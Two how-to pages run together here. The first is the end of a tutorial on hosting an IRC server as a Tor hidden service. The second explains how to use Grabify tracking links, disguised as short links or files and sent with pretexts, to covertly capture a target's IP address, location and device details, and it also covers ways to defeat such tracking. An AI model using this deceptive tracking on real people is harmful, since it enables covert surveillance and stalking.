email="root@localhost">The "name" and "nick" should be changed to the preferred identification for your server admin. To make identifying these slightly more straightforward, I turned them both to "admin." I left the email setting as it was, as it does not need to be a valid email address.<admin name="admin"
nick="admin"
email="root@localhost">In most cases, we'd want to change the "bind" value as well, but as all of our connections are going to be made through Tor, we can leave the address as 127.0.0.1 and the port at 6667 or the port of our choice.<bind address="127.0.0.1" port="6667" type="clients">One important field to update is the "power" section. This provides two passwords that could be used by yourself or channel operators to restart or turn off the server. Make sure to set them to something more secure than the default passwords given.<power diepass="useastrongpasswordhere" restartpass="andoneheretoo" pause="2">The last sections of this configuration file we'll want to modify are the "oper" or operators section, as well as the "files" section. In the operators section, we'll want to update the operator credentials to provide server authority to the users we wish. The most crucial part to update is the "password" field. Be sure to change the password to something more secure.<oper name="root"
password="12345"
host="*@localhost"
type="NetAdmin">Lastly, we'll want to define the location of theMessage of the DayandRulesfiles.<files motd="/etc/inspircd/inspircd.motd"
rules="/etc/inspircd/inspircd.rules">If these files are already set to an appropriate location, you can simply directly edit them to update these files in nano. These files will be displayed in the channel when a user requests either of them by running /motd or /rules.~$ sudo nano /etc/inspircd/inspircd.motd
GNU nano 4.9.2 /etc/inspircd/inspircd.motd
**************************************************
* H E L L O *
* This is a private irc server. Please contact *
* the admin of the server for any questions or *
* issues. *
**************************************************
* The software was provided as a package of *
* Debian GNU/Linux <https://www.debian.org/>. *
* However, Debian has no control over this *
* server. *
**************************************************
(The sysadmin possibly wants to edit </etc/inspircd/inspircd.motd>)
^G Get Help ^O Write Out ^W Where Is ^K Cut Text ^J Justify
^X Exit ^R Read File ^\ Replace ^U Paste Text ^T To Spell~$ sudo nano /etc/inspircd/inspircd.rules
GNU nano 4.9.2 /etc/inspircd/inspircd.rules
Please edit /etc/inspircd/motd
[ Read 1 line ]
^G Get Help ^O Write Out ^W Where Is ^K Cut Text ^J Justify
^X Exit ^R Read File ^\ Replace ^U Paste Text ^T To SpellWe can further update this configuration file by referencing theInspIRCd Wiki. Save the file by pressingControl-Oin Nano, and then pressControl-Xto exit. Once the configuration file is complete, we can test our server locally.Step 3: Test the Local IRC ServerFirst, we can start the server daemon using systemd by typing the following in terminal.~$ sudo service inspircd startIf the command succeeds, we can confirm it's status using the systemdstatusparameter.~$ sudo service inspircd status
β inspircd.service - InspIRCd - Internet Relay Chat Daemon
Loaded: loaded (/lib/systemd/system/inspircd.service; disabled; vendo>
Active: active (running) since Thu 2020-08-06 20:19:27 EDT; 11s ago
Docs: man:inspircd(8)
Process: 2133 ExecStart=/usr/lib/inspircd/inspircd start (code=exited,>
Main PID: 2135 (inspircd)
Tasks: 1 (limit: 2317)
Memory: 1.3M
CGroup: /system.slice/inspircd.service
ββ2135 /usr/sbin/inspircd --config=/etc/inspircd/inspircd.conf
Aug 06 20:19:27 kali systemd[1]: Starting InspIRCd - Internet Relay Chat D>
Aug 06 20:19:27 kali inspircd[2133]: InspIRCd - Internet Relay Chat Daemon
Aug 06 20:19:27 kali inspircd[2133]: For contributors & authors: See /INFO>
Aug 06 20:19:27 kali inspircd[2135]: InspIRCd Process ID: 2135
Aug 06 20:19:27 kali inspircd[2135]: Loading core modules ................>
Aug 06 20:19:27 kali inspircd[2135]: InspIRCd is now running as 'irc.local>
Aug 06 20:19:27 kali systemd[1]: Started InspIRCd - Internet Relay Chat Da>
lines 1-18/18 (END)We can now test connect to our server using the IRC client of our choice. I usedIrssi. Irssi is in most Linux repositories, and on Debian-based systems, it can also be installed usingapt, as seen below.~$ sudo apt install irssi
[sudo] password for kali:
Reading package lists... Done
Building dependency tree
Reading state information... Done
Suggested packages:
irssi-scripts
The following NEW packages will be installed:
irssi
0 upgraded, 1 newly installed, 0 to remove and 782 not upgraded.
Need to get 1,183 kB of archives.
After this operation, 2,919 kB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 irssi amd64 1.2.2-1+b1 [1,183 kB]
Fetched 1,183 kB in 1s (1,320 kB/s)
Selecting previously unselected package irssi.
(Reading database ... 287426 files and directories currently installed.)
Preparing to unpack .../irssi_1.2.2-1+b1_amd64.deb ...
Unpacking irssi (1.2.2-1+b1) ...
Setting up irssi (1.2.2-1+b1) ...
Processing triggers for kali-menu (2020.2.2) ...
Processing triggers for man-db (2.9.1-1) ...Irssi can be launched directly from the command line just by using its name.~$ irssi
Irssi v1.2.2-1+b1 - https://irssi.org
20:30 -!- ___ _
20:30 -!- |_ _|_ _ _____(_)
20:30 -!- | || '_(_-<_-< |
20:30 -!- |___|_| /__/__/_|
20:30 -!- Irssi v1.2.2-1+b1 - https://irssi.org
20:30 -!- Irssi: The following settings were initialized
20:30 real_name Kali
20:30 user_name kali
20:30 nick kali
[(status)]Within Irssi, we can connect to our server with theconnectcommand. This command will connect us to our server. You should see something like below.[(status)] /connect irc.localhost
20:31 -!- Irssi: Looking up irc.localhost
20:31 -!- Irssi: Connecting to irc.localhost [127.0.0.1] port 6667
20:31 -!- Irssi: Connection to irc.localhost established
20:31 !irc.localhost *** Looking up your hostname...
20:31 !irc.localhost *** Could not resolve your hostname: Request timed out; using your IP address (127.0.0.1) instead...
20:31 !irc.localhost *** Welcome to Localnet!
20:31 -!- Welcome to the Localnet IRC Network [email protected]
20:31 -!- Your host is irc.local, running version InspIRCd-3.4.0
20:31 -!- This server was created on Debian
20:31 -!- irc.local InspIRCd-3.4.0 iosw biklmnopstv bklov
20:31 -!- AWAYLEN=200 CASEMAPPING=rfc1459 CHANMODES=b,k,l,imnpst CHANNELLEN=64 CHANTYPES=#
CHARSET=ascii ELIST=MU FNC KICKLEN=255 MAP MAXBANS=60 MAXCHANNELS=20 MAXPARA=32
are supported by this server
20:31 -!- MAXTARGETS=20 MOADES=20 NETWORK=Localnet NICKLEN=32 PREFIX=(ov)@+ STATUSMSG=@+
TOPICLEN+307 VBANLIST WALLCHOPS WALLVOICES are supported by this server
20:31 -!- 811AAAAAA your unique ID
20:31 -!- irc.local message of the day
20:31 -!- - - message of the day goes here
20:31 -!- -
20:31 -!- End of message of the day.
20:31 -!- There are 1 users and 0 invisible on 1 servers
20:31 -!- 0 channels formed
20:31 -!- I have 1 clients and 0 servers
20:31 -!- Current Local Users: 1 Max: 1
20:31 -!- Current Global Users: 1 Max: 1
20:31 -!- Mode change [+i] for user admin
[(status)]Once the IRC client has successfully connected to the local IRC server, it can be administered in the same way as a server which is connected to the internet. The test server is connected only to the machine in which it is running, so the only users who could connect to the server must be on the local machine as well.After the local IRC server connection is verified, and any IRC configurations are changed, we can disconnect from the local server and connect it to the Tor network. If you're using the Irssi IRC client, you can disconnect with/quit.Step 4: Connect the IRC Server to TorThe Tor-routing of our IRC server will be configured in the torrc file. To find this file and confirm our Tor installation, we can usewhereisas in the example below.~$ whereis tor
tor: /usr/bin/tor /usr/sbin/tor /etc/tor /usr/share/tor /usr/share/man/man1/tor.1.gzThis returns several locations that Tor uses for configuration. The "torrc" file we're looking for is most likely in /etc/tor. We can open it with the following command. Once opened, you should see something similar to below.~$ sudo nano /etc/tor/torrc
GNU nano 4.9.2 /etc/tor/torrc
## Configuration file for a typical Tor user
## Last updated 9 October 2013 for Tor 0.2.5.2-alpha.
## (may or may not work for much older or much newer versions of Tor.)
##
## Lines that begin with "## " try to explain what's going on. Lines
## that begin with just "#" are disabled commands: you can enable them
## by removing the "#" symbol.
##
## See 'man tor', or https://www.torproject.org/docs/tor-manual.html,
## for more options you can use in this file.
##
## Tor will look for this file in various places based on your platform:
## https://www.torproject.org/docs/faq#torrc
## Tor opens a socks proxy on port 9050 by default -- even if you don't
## configure one below. Set "SocksPort 0" if you plan to run Tor only
## as a relay, and not make any local application connections yourself.
#SocksPort 9050 # Default: Bind to localhost:9050 for local connections.
#SocksPort 192.168.0.1:9100 # Bind to this address:port too.
## Entry policies to allow/deny SOCKS requests based on IP address.
## First entry that matches wins. If no SocksPolicy is set, we accept
## all (and only) requests that reach a SocksPort. Untrusted users who
## can access your SocksPort may be able to learn about the connections
## you make.
#SocksPolicy accept 192.168.0.0/16
#SocksPolicy reject *
## Logs go to stdout at level "notice" unless redirected by something
## else, like one of the below lines. You can have as many Log lines as
## you want.
##
## We advise using "notice" in most cases, since anything more verbose
## may provide sensitive information to an attacker who obtains the logs.
##
## Send all messages of level 'notice' or higher to /var/log/tor/notices.log
#Log notice file /var/log/tor/notices.log
## Send every possible message to /var/log/tor/debug.log
#Log debug file /var/log/tor/debug.log
## Use the system log instead of Tor's logfiles
#Log notice syslog
## To send all messages to stderr:
#Log debug stderr
## Uncomment this to start the process in the background... or use
## --runasdaemon 1 on the command line. This is ignored on Windows;
## see the FAQ entry if you want Tor to run as an NT service.
#RunAsDaemon 1
## The directory for keeping all the keys/etc. By default, we store
## things in $HOME/.tor on Unix, and in Application Data\tor on Windows.
#DataDirectory /var/lib/tor
## The port on which Tor will listen for local connections from Tor
## controller applications, as documented in control-spec.txt.
#ControlPort 9051
## If you enable the controlport, be sure to enable one of these
## authentication methods, to prevent attackers from accessing it.
#HashedControlPassword 16:872860B76453A77D60CA2BB8C1A7042072093276A3D701AD684053>
#CookieAuthentication 1
############### This section is just for location-hidden services ###
## Once you have configured a hidden service, you can look at the
## contents of the file ".../hidden_service/hostname" for the address
## to tell people.
##
## HiddenServicePort x y:z says to redirect requests on port x to the
## address y:z.
#HiddenServiceDir /var/lib/tor/hidden_service/
#HiddenServicePort 80 127.0.0.1:80
#HiddenServiceDir /var/lib/tor/other_hidden_service/
#HiddenServicePort 80 127.0.0.1:80
#HiddenServicePort 22 127.0.0.1:22
################ This section is just for relays #####################
#
## See https://www.torproject.org/docs/tor-doc-relay for details.
## Required: what port to advertise for incoming Tor connections.
#ORPort 9001
## If you want to listen on a port other than the one advertised in
## ORPort (e.g. to advertise 443 but bind to 9090), you can do it as
## follows. You'll need to do ipchains or other port forwarding
## yourself to make this work.
#ORPort 443 NoListen
#ORPort 127.0.0.1:9090 NoAdvertise
## The IP address or full DNS name for incoming connections to your
## relay. Leave commented out and Tor will guess.
#Address noname.example.com
## If you have multiple network interfaces, you can specify one for
## outgoing traffic to use.
# OutboundBindAddress 10.0.0.5
## A handle for your relay, so people don't have to refer to it by key.
#Nickname ididnteditheconfig
## Define these to limit how much relayed traffic you will allow. Your
## own traffic is still unthrottled. Note that RelayBandwidthRate must
## be at least 20 KB.
## Note that units for these config options are bytes per second, not bits
## per second, and that prefixes are binary prefixes, i.e. 2^10, 2^20, etc.
#RelayBandwidthRate 100 KB # Throttle traffic to 100KB/s (800Kbps)
#RelayBandwidthBurst 200 KB # But allow bursts up to 200KB/s (1600Kbps)
## Use these to restrict the maximum traffic per day, week, or month.
## Note that this threshold applies separately to sent and received bytes,
## not to their sum: setting "4 GB" may allow up to 8 GB total before
## hibernating.
##
## Set a maximum of 4 gigabytes each way per period.
#AccountingMax 4 GB
## Each period starts daily at midnight (AccountingMax is per day)
#AccountingStart day 00:00
## Each period starts on the 3rd of the month at 15:00 (AccountingMax
## is per month)
#AccountingStart month 3 15:00
## Administrative contact information for this relay or bridge. This line
## can be used to contact you if your relay or bridge is misconfigured or
## something else goes wrong. Note that we archive and publish all
## descriptors containing these lines and that Google indexes them, so
## spammers might also collect them. You may want to obscure the fact that
## it's an email address and/or generate a new address for this purpose.
#ContactInfo Random Person <nobody AT example dot com>
## You might also include your PGP or GPG fingerprint if you have one:
#ContactInfo 0xFFFFFFFF Random Person <nobody AT example dot com>
## Uncomment this to mirror directory information for others. Please do
## if you have enough bandwidth.
#DirPort 9030 # what port to advertise for directory connections
## If you want to listen on a port other than the one advertised in
## DirPort (e.g. to advertise 80 but bind to 9091), you can do it as
## follows. below too. You'll need to do ipchains or other port
## forwarding yourself to make this work.
#DirPort 80 NoListen
#DirPort 127.0.0.1:9091 NoAdvertise
## Uncomment to return an arbitrary blob of html on your DirPort. Now you
## can explain what Tor is if anybody wonders why your IP address is
## contacting them. See contrib/tor-exit-notice.html in Tor's source
## distribution for a sample.
#DirPortFrontPage /etc/tor/tor-exit-notice.html
## Uncomment this if you run more than one Tor relay, and add the identity
## key fingerprint of each Tor relay you control, even if they're on
## different networks. You declare it here so Tor clients can avoid
## using more than one of your relays in a single circuit. See
## https://www.torproject.org/docs/faq#MultipleRelays
## However, you should never include a bridge's fingerprint here, as it would
## break its concealability and potentionally reveal its IP/TCP address.
#MyFamily $keyid,$keyid,...
## A comma-separated list of exit policies. They're considered first
## to last, and the first match wins. If you want to _replace_
## the default exit policy, end this with either a reject *:* or an
## accept *:*. Otherwise, you're _augmenting_ (prepending to) the
## default exit policy. Leave commented to just use the default, which is
## described in the man page or at
## https://www.torproject.org/documentation.html
##
## Look at https://www.torproject.org/faq-abuse.html#TypicalAbuses
## for issues you might encounter if you use the default exit policy.
##
## If certain IPs and ports are blocked externally, e.g. by your firewall,
## you should update your exit policy to reflect this -- otherwise Tor
## users will be told that those destinations are down.
##
## For security, by default Tor rejects connections to private (local)
## networks, including to your public IP address. See the man page entry
## for ExitPolicyRejectPrivate if you want to allow "exit enclaving".
##
#ExitPolicy accept *:6660-6667,reject *:* # allow irc ports but no more
#ExitPolicy accept *:119 # accept nntp as well as default exit policy
#ExitPolicy reject *:* # no exits allowed
## Bridge relays (or "bridges") are Tor relays that aren't listed in the
## main directory. Since there is no complete public list of them, even an
## ISP that filters connections to all the known Tor relays probably
## won't be able to block all the bridges. Also, websites won't treat you
## differently because they won't know you're running Tor. If you can
## be a real relay, please do; but if not, be a bridge!
#BridgeRelay 1
## By default, Tor will advertise your bridge to users through various
## mechanisms like https://bridges.torproject.org/. If you want to run
## a private bridge, for example because you'll give out your bridge
## address manually to your friends, uncomment this line:
#PublishServerDescriptor 0
^G Get Help ^O Write Out ^W Where Is ^K Cut Text ^J Justify ^C Cur Pos
^X Exit ^R Read File ^\ Replace ^U Paste Text^T To Spell ^_ Go To LineThe section we need to edit is after the following banner.############### This section is just for location-hidden services ###To skip directly to this section, pressControl-W, type "location-hidden" and pressEnter. To specify our hidden service location to Tor, we'll want to un-comment the following two lines.HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80 127.0.0.1:80To do this, remove the "#" symbols at the beginning of these lines. We'll also want to edit one of the lines to specify our IRC port instead of port 80. When you're done, the line should look like this.HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 6667 127.0.0.1:6667Write these changes to the file withControl-Oand exit Nano withControl-X.Now that our Tor service is configured, we can launch it with the following command.~$ sudo tor
Aug 06 20:58:27.242 [notice] Tor 0.4.3.6 running on Linux with Libevent 2.1.11-stable, OpenSSL 1.1.1g, Zlib 1.2.11, Liblzma 5.2.4, and Libzstd 1.4.4.
Aug 06 20:58:27.242 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning
...
Aug 06 20:58:36.000 [notice] Bootstrapped 100% (done): DoneOnce the Tor service is running, an onion address should be generated and placed in /var/lib/tor/hidden_service/hostname. We can retrieve this address with thecatcommand, seen below.~$ sudo cat /var/lib/tor/hidden_service/hostname
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.onionIf needed, it's also possible to customize this onion address using tools likeEschalot.Don't Miss:How to Use Private Encrypted Messaging Over TorIfcatreturns an onion address, your IRC server is now available over Tor!Step 5: Connect to an IRC Server Over TorNow that your server is connected to Tor, it's available for anyone with the address to connect to it. As such, to test our server connectivity, it's best to do it from a different device than the one on which the server is running. If you've installed your server on a VPS or virtual machine, just switch back to using the device you configured it with.To test connecting to my server, I used an IRC client I already had installed,HexChat. It's also available in most Linux repositories, and on Debian-based systems, and it can be installed withaptas seen below.~$ sudo apt install hexchat
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
hexchat-common hexchat-perl hexchat-plugins hexchat-python3
Suggested packages:
hexchat-otr unifont
The following NEW packages will be installed:
hexchat hexchat-common hexchat-perl hexchat-plugins hexchat-python3
0 upgraded, 5 newly installed, 0 to remove and 782 not upgraded.
Need to get 1,214 kB of archives.
After this operation, 5,570 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://kali.download/kali kali-rolling/main amd64 hexchat-common all 2.14.3-3 [762 kB]
Get:2 http://kali.download/kali kali-rolling/main amd64 hexchat amd64 2.14.3-3 [338 kB]
Get:3 http://kali.download/kali kali-rolling/main amd64 hexchat-perl amd64 2.14.3-3 [42.5 kB]
Get:4 http://kali.download/kali kali-rolling/main amd64 hexchat-plugins amd64 2.14.3-3 [37.8 kB]
Get:5 http://kali.download/kali kali-rolling/main amd64 hexchat-python3 amd64 2.14.3-3 [33.6 kB]
Fetched 1,214 kB in 6s (202 kB/s)
Selecting previously unselected package hexchat-common.
(Reading database ... 287612 files and directories currently installed.)
Preparing to unpack .../hexchat-common_2.14.3-3_all.deb ...
Unpacking hexchat-common (2.14.3-3) ...
Selecting previously unselected package hexchat.
Preparing to unpack .../hexchat_2.14.3-3_amd64.deb ...
Unpacking hexchat (2.14.3-3) ...
Selecting previously unselected package hexchat-perl:amd64.
Preparing to unpack .../hexchat-perl_2.14.3-3_amd64.deb ...
Unpacking hexchat-perl:amd64 (2.14.3-3) ...
Selecting previously unselected package hexchat-plugins:amd64.
Preparing to unpack .../hexchat-plugins_2.14.3-3_amd64.deb ...
Unpacking hexchat-plugins:amd64 (2.14.3-3) ...
Selecting previously unselected package hexchat-python3:amd64.
Preparing to unpack .../hexchat-python3_2.14.3-3_amd64.deb ...
Unpacking hexchat-python3:amd64 (2.14.3-3) ...
Setting up hexchat-plugins:amd64 (2.14.3-3) ...
Setting up hexchat-common (2.14.3-3) ...
Setting up hexchat (2.14.3-3) ...
Setting up hexchat-perl:amd64 (2.14.3-3) ...
Setting up hexchat-python3:amd64 (2.14.3-3) ...
Processing triggers for desktop-file-utils (0.24-1) ...
Processing triggers for mime-support (3.64) ...
Processing triggers for hicolor-icon-theme (0.17-2) ...
Processing triggers for man-db (2.9.1-1) ...
Processing triggers for kali-menu (2020.2.2) ...After launching HexChat with:~$ hexchatSet your preferred nickname choices, and then select "Add" in the networks section.Assign a name to your new network, and then right-click on it and hit "Edit."Within this edit window, update the address shown in theServersbox to be the onion address which was assigned to it by Tor in the previous step.Close this window, and then select "Connect." The connection will not immediately be established, as we need to change our network settings to resolve the onion address. To do this, click on "Preferences" under the "Settings" menu on top of the new window which has opened.Within the Preferences window, select "Network Settings" under the Network category in the left menu. On this page, underProxy Serverchange theHostnameto127.0.0.1, thePortto9050, and select "Socks5" for theType.This utilizes Tor as a proxy server for the client and allows onion address resolution. Keep in mind that this will only work on devices were Tor can be called as a service on port 9050. On Linux systems, the Tor service can be started in the same way as if it were a server. To do so, type the command below.~$ sudo torOnce the network configuration is updated, hit "OK." HexChat should attempt to reconnect to the onion address provided. This time, it should work.If theWelcomemessage appears, you've successfully created a Tor-connected IRC server!You may notice that after the onion address is looked up, the IP provided is the localhost address on the server itself, 127.0.0.1. This is because Tor routes connecting clients to the server and does not at any point disclose the server's public IP, so clients connecting to it see the server almost as if it were on their local network, rather than at a secret IP hidden by an onion address.Now that your server is running, you can customize it like any other IRC server and begin inviting more users to interact with its channels.Thanks for reading, and if you have any questions, you can ask them in the comments below or on [email protected]'t Miss:The Top 80+ Websites Available in the Tor NetworkWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Kody/Null Byte; Screenshots by Takhion/Null ByteRelatedSPLOIT:How to Make a Proxy Server in PythonNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetHow To:Run an FTP Server from Home with LinuxNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesHow To:Run a Free Web Server From Home on Windows or Linux with ApacheCommunity Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHow To:Safely Log In to Your SSH Account Without a PasswordCommunity Byte:Coding a Web-Based Password Cracker in PythonHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebHow To:Push and Pull Remote Files Securely Over SSH with PipesGoodnight Byte:Coding an IRC Bot in Python (For Beginners)Community Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 7 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:Hack Our IRC Bot to Issue CommandsCommunity Byte:Hack Our IRC Bot to Issue CommandsCommunity Byte:Coding an IRC Bot in Python (For Beginners)Community Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingEditor Picks:The Top 10 Secret Resources Hiding in the Tor NetworkHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingHow To:Who Is Anonymous? How the Wall Street Journal and the NSA Got It WrongNews:Anonymity, Darknets and Staying Out of Federal Custody, Part One: Deep WebHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Week 2)Listen In:Live Social Engineering Phone Calls with Professional Social EngineersEssentialsChat Tutorial:Chat and Color FormattingHow To:Remain Anonymous and Chat Securely with CryptocatGoodnight Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsHow To:Remotely Control Computers Over VNC Securely with SSHNews:WebChat for Null Byte IRC! |
How to Catch an Internet Catfish with Grabify Tracking Links Β« Null Byte :: WonderHowTo | Featured on MTV'sCatfishTV series, inseason 7, episode 8, Grabify is a tracking link generator that makes it easy to catch an onlinecatfishin a lie. With the ability to identify the IP address, location, make, and model of any device that opens on a cleverly disguised tracking link, Grabify can even identify information leaked from behind a VPN.Whether it's an online apartment ad that seems too good to be true or a person online you have a strange feeling about, identifying red flags can save a lot of trouble early on. If you live in Canada, and an IP address in Africa lists the apartment you're checking out, you might not want to send a security deposit.The ability to verify details like the originating device, country, or even the time zone can prove incredibly useful for identifying whether a person is honest or not about the details they share about themselves online. Combined with information likeEXIF data, it's easy to compare a geotagged photo or the hard-coded device information in a file against the device that opens a Grabify tracking link.Don't Miss:Research a Person or Organization Using the Operative FrameworkTo track someone with Grabify, you first pick a link that would be natural to send. Then, you disguise the nature of the link by making it appear to be anything from a regular shortened link to a torrent or image file. When the target clicks or taps on the link, you capture their information as they pass through the link to the decoy.What Can You Learn from a Tracking Link?The kind of information you can learn from a tracking link depends on the type of link you're using. There are two types of tracking links that Grabify can create, the default being a lightweight and nearly undetectable redirect to a decoy URL. This default option looks and acts like a URL shortener, and the average person wouldn't notice it.From this kind of link, you can expect to get the IP address, country, browser, operating system, hostname, and internet service provider. For someone that's harassed online, that alone may be enough to file a police report or press charges.If you want to use the advanced tracking link that Grabify offers, the target will see a brief redirect page that looks like this:Because the average user wouldn't recognize this as something to be suspicious of, it's generally safe to use when you need more information. Because we're rendering a page this time, we can learn a lot more information about the user.With the advanced tracking, we can see the battery level and whether or not the device is plugged in. We can see the make and model of the device, the internal network IP address, the time zone, screen size, and even which way the user is holding their device. This level of detail can get downright creepy and can give you the upper hand in proving someone isn't really who they say they are.What You'll NeedGrabify is a web-based project byjLynxthat can beaccessed on any browser. While you don't need to sign up for an account to use Grabify, it's free, and there are some extra options available after doing so. If you like Grabify, you might like some of jLynx's other projects, so make sure to check those out onhis website.Step 1: Find a Plausible Link to SendFor this attack to work, we need to create a scenario where it makes sense for the target to click or tap a link. There are two different kinds of links we can send, one loads a fake referral page that grabs more information, and the other is a simple pass-through link that is less visible but also records less information.The less obvious link is the default choice, so unless we want to grab everything we can at the risk of tipping off the target, we can focus on finding a reason to entice the target to click or tap on something. Unlikea canary token, which takes you to a suspicious dead-end page, Grabify lets you choose where you want the victim to end up after they click or tap the link, making it a lot easier to prevent your target from knowing you're setting up a trap.Don't Miss:Track a Target Using Canary Token Tracking LinksThere are many ways to get the link to the target, and a common one is to leave the link in a chat or email on your account, making it look like the link is important or personal. If someone accesses your account and clicks or taps on the link, you'll immediately know.In another scenario, you could trick someone into clicking or tapping a link by creating a plausible context, where sharing a link makes sense. Usually, tactics like "Is this your profile?" with a link that goes back to their profile are the least suspicious,as shownin MTV'sCatfishepisode.Step 2: Create a Tracking URLThe first step in tracking a target with a Grabify link is to find a link you think your target would expect to receive. It should be something unsuspicious when the target ends up at the URL, and it will serve as a cover for the tracking link you create. You want to pretend like you're sending them a regular innocent URL shortened version of whatever decoy link you pick.In my example, I'll be shorteningslowhotcomputer.com.Navigate tograbify.link, and put your URL into the filed. Next, click "Create URL," then agree to the terms, to create your tracking URL link.Grabify will generate a tracking page, complete with a tracking link and interface with information about each time someone has clicked or tapped on the link. When you first start, it should be empty, although some URL shorteners will use bots to preview the link you're shortening, and that data might show up.Now that we have a functional tracking link, it's time to start making it look more like something our target would click or tap.Step 3: Shorten & Hide Your Tracking LinkGrabify isn't exactly a subtle URL name, so part of successfully getting your target to click or tap on a link is providing a link that doesn't look too out of place. You can obscure the link with any number of URL shorteners, some of which are available right in Grabify.Don't Miss:Use SpiderFoot for OSINT GatheringBelow, you can see the list of URL shorteners Grabify supports. Click on "View Other link Shorteners" next toOther Linkson the log page.If the included shortener options don't suit your situation, you can always create a custom link that looks like an image file, GIF, CSV, HTML, Torrent, or ISO file.Click on either "Click here" besideSelect Domain Nameor "Change domain/Make a custom link" in theNew URLbox, then check out the "Extension" drop-down. You can make it look like you're sharing a file rather than a referral link, which may work better to trick the target into clicking or tapping on your link.In this custom link menu, there are also options to a different domain from one of the ones provided by Grabify, provide a custom path, and give a custom parameter.Once you generate a shortened link or a custom URL disguise, you're ready to present it to the target. Once the target clicks or taps the link, an entry will appear under the "Results" section of your log page.Step 4: Interpret the Tracking InformationNow, open your target link and see what you get. In the default configuration, you don't use a fake referral page, so you don't get the most information possible.You should see a detection on your management portal (you may need to refresh the page), and you can select it to view more details. As you can see in my example below, I have the essentials, like the location, IP address, and information such as the internet service provider and operating system.Don't Miss:Use the Buscador OSINT VM for Conducting Online InvestigationsTo kick things up a notch, you can enable the "Smart Logger" feature by clicking the toggle switch on the web interface. The toggle enables a fake tracking page that will be able to extract a lot more information.Once "Smart Logger" is enabled, open the link again and take a look at the recorded information. This time, you should see a lot more information.This extra information can tell us a lot. For one, in my example, the internal IP address tells us that this person is likely connected to a VPN, as a standard local IP address would probably look like "192.168.0.2" or something similar. We can also see more information about the specific device that made the request, as well as the screen size and browser extensions installed.You'll also notice that you can learn if the battery is charging and what battery level is. It could allow you to track a person over a short period, with their battery level either increasing if charging or decreasing if not charging, which could identify the device uniquely. Another overlooked value is the language and time zone, which are often set by the system.Don't Miss:Use Facial Recognition for OSINT on Individuals & CompaniesIn some cases, we can see the make and model of the device making the request, allowing us to pinpoint the hardware used by the target. Any of these details may be enough to bust a catfish, either by revealing them to be in the wrong state or country, showing a device different from the one the person uses in their (probably fake) photos, or by showing a time zone that makes no sense for where they claim to be.Defeating Grabify TrackingThe tracking technology behind Grabify and other online trackers is powerful, but it isn't impossible to defeat. Much of the information obtained by Grabify is from the user-agent string, so using browser add-ons to change your user-agent string can make you look like a different type of device. With a different user agent, you can hide a lot of your details from a Grabify tracking link. Using a VPN and browser extensions, I was able to mask the country, IP address, and other information about my device.What I wasn't able to immediately change was my time zone and language, which are set by the system and weren't affected by the VPN or the browser extensions. Because my internal IP address showed a VPN connection, it's likely someone tracking me would assume my information is fake except for my time zone and language. That alone would narrow down my origin to the US and Canada, undoing much of the hard work I put into faking my location and IP address. Because of those types of leaks, it's essential to be aware of the way links like Grabify track you on the internet and what kind of details can give you away.I hope you enjoyed this guide to using Grabify to generate tracking links! If you have any questions about this tutorial on catching catfish or you have a comment, ask below or feel free to reach me on [email protected]'t Miss:Stealing Wi-Fi Passwords with an Evil Twin AttackFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Justin Meyers/Null Byte; Screenshots by Kody/Null ByteRelatedHow to Hack with Arduino:Defeat VPNs & Track a MacOS Computer RemotelyHow To:Make homemade catfish bait to catch catfishHow To:Catch a sharptooth catfishHow To:Troll with planer bobbers to catch catfishHow To:Catch more catfish on a fishing tripHow To:Hack Web Browsers with BeEF to Control Webcams, Phish for Credentials & MoreHow To:A Hitchhiker's Guide to the Internet: Today and Now, How It All ConnectsHow To:Make catfish bait at homeHow to Make Indian food:Fried catfishHow To:Prepare Betty's Southern oven-broiled catfish dinnerHow To:Make Thai hot and sour catfish soupHow 